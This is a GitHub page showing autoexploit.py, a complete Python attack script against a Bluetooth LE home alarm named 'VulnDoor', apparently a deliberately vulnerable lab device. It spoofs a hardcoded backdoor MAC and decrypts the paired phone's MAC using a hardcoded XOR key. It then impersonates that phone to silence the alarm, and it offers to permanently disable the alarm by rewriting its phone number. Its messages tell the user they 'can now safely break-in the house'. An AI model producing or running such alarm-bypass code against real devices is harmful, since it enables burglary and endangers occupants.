-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathautoexploit.py
More file actions
216 lines (174 loc) · 5.96 KB
/
autoexploit.py
File metadata and controls
216 lines (174 loc) · 5.96 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#! /usr/bin/env python3
#
# VulnDoor Auto Exploit
#
from argparse import ArgumentParser
from autoexploit import *
from autoexploit.ext_exec import do
from autoexploit.gatt import BleDeviceManager, TargetDevice, BleDeviceScanner
import sys, os, time
import re
import base64
import gatt
import threading
backdoor_mac = "DE:AD:BE:EF:00:00"
target_name = "VulnDoor"
bt_interface = "hci0"
crypt_key = "MySup3rK3y"
# ======================
# Useful functions
# ======================
def usage():
print("Usage:", sys.argv[0], " [-v <verb-level>]")
print(" <verb-level> between", disp.Verb.ERROR, "and", disp.Verb.DEBUG)
print(" ", disp.Verb.ERROR, "= ERROR")
print(" ", disp.Verb.WARNING, "= WARNING")
print(" ", disp.Verb.INFO, "= INFO")
print(" ", disp.Verb.DEBUG, "= DEBUG")
sys.exit(0)
# ======================
# Encryption/Decryption
# ======================
def apply_xor(text):
output_char=[]
i=0
for input_char in text:
input_char_int = ord(input_char)
crypt_key_int = ord(crypt_key[i%len(crypt_key)])
output_char.append(chr(input_char_int ^ crypt_key_int))
i = i + 1
return "".join(output_char)
def encrypt(plaintext):
return base64.b64encode(apply_xor(plaintext).encode())
def decrypt(cyphertext):
return apply_xor(base64.b64decode(cyphertext).decode("utf-8"))
# ======================
# Reconnect until READY
# ======================
def wait_or_reconnect(target_device):
first_time = True
while not target_device.is_ready:
if not first_time:
disp.warn("Connected to device but did not receive \"READY\". Disconnecting and reconnecting...")
target_device.disconnect()
time.sleep(2)
target_device.connect()
else:
first_time = False
timetick = time.time()
while not target_device.is_ready and time.time()<timetick+10:
pass
# ==================
# Main program
# ==================
if __name__ == "__main__":
# Check root access
if os.geteuid() != 0:
disp.die("Please run this script as root!")
# Parse arguments
argc = len(sys.argv)
try:
if argc == 3 and sys.argv[1] == "-v":
verb_lvl = int(sys.argv[2])
if disp.Verb.ERROR <= verb_lvl <= disp.Verb.DEBUG:
disp.Verb.curr = verb_lvl
else:
raise Exception
else:
raise Exception
except:
usage()
# Display banner
banner.show()
disp.section_title("Searching for target")
# Enable Bluetooth Device
disp.info("Bringing interface up")
do("hciconfig " + bt_interface + " up")
do("service bluetooth restart")
time.sleep(2)
# Searching for BLE Device
disp.info("Scanning for BLE Devices")
device_mac = None
scanner = BleDeviceScanner(adapter_name='hci0', device_name='VulnDoor')
thread = threading.Thread(target = scanner.run)
thread.start()
scanner.start_discovery()
try:
while device_mac is None:
device_mac = scanner.get_device_mac()
except KeyboardInterrupt:
scanner.quit()
thread.join()
disp.die("Keyboard Interrupt")
scanner.quit()
time.sleep(1)
disp.section_title("Finding legitimate smartphone MAC")
# Spoofing Support MAC
disp.info("Spoofing Support MAC")
do("bdaddr "+backdoor_mac.lower())
do("hciconfig " + bt_interface + " reset")
time.sleep(3)
do("service bluetooth restart")
time.sleep(2)
do("hciconfig")
disp.info("New MAC is " + backdoor_mac.upper())
# Connect to device
disp.info("Connecting to target")
manager = BleDeviceManager(adapter_name='hci0')
thread = threading.Thread(target = manager.run)
thread.start()
target_device = TargetDevice(manager=manager, mac_address = device_mac)
target_device.connect()
wait_or_reconnect(target_device)
disp.info("Reading legitimate phone MAC saved in device")
target_device.send(encrypt("r:mac"))
while target_device.response is None:
pass
disp.info("Decrypting received data with hardcoded key")
target_mac = decrypt(target_device.response)
target_mac = ":".join([target_mac[i:i+2] for i in range(0, len(target_mac), 2)])
disp.info("Saved MAC is {}".format(target_mac))
disp.info("Disconnecting")
target_device.disconnect()
while target_device.is_connected():
pass
manager.quit()
thread.join()
time.sleep(1)
disp.section_title("Disabling the alarm")
# Spoofing Smartphone MAC
disp.info("Spoofing legitimate phone MAC")
do("bdaddr "+target_mac.lower())
do("hciconfig " + bt_interface + " reset")
disp.info("New MAC is " + target_mac.upper())
time.sleep(3)
do("service bluetooth restart")
time.sleep(2)
do("hciconfig")
disp.info("Connecting to the alarm")
manager = BleDeviceManager(adapter_name='hci0')
thread = threading.Thread(target = manager.run)
thread.start()
manager.start_discovery()
time.sleep(2)
target_device = TargetDevice(manager=manager, mac_address = device_mac)
target_device.connect()
wait_or_reconnect(target_device)
disp.info("Exploit successfull: Alarm is inhibited. You can now safely break-in the house.")
disp.section_title("Persistence")
disp.info("It is possible to make the alarm useless by modifying the recorded phone number.")
cmd = input("Do you want to permanently disable the alarm? (y/N): ")
if cmd=="y":
new_phone = input("Enter the new phone number (10 digits): ")
target_device.send(encrypt("w:tel"+new_phone))
disp.info("Sending encrypted configuration command")
while target_device.response is None:
pass
disp.info("Permanent disable succeeded")
else:
disp.info("Stopping the attack")
target_device.disconnect()
while target_device.is_connected():
pass
manager.quit()
thread.join()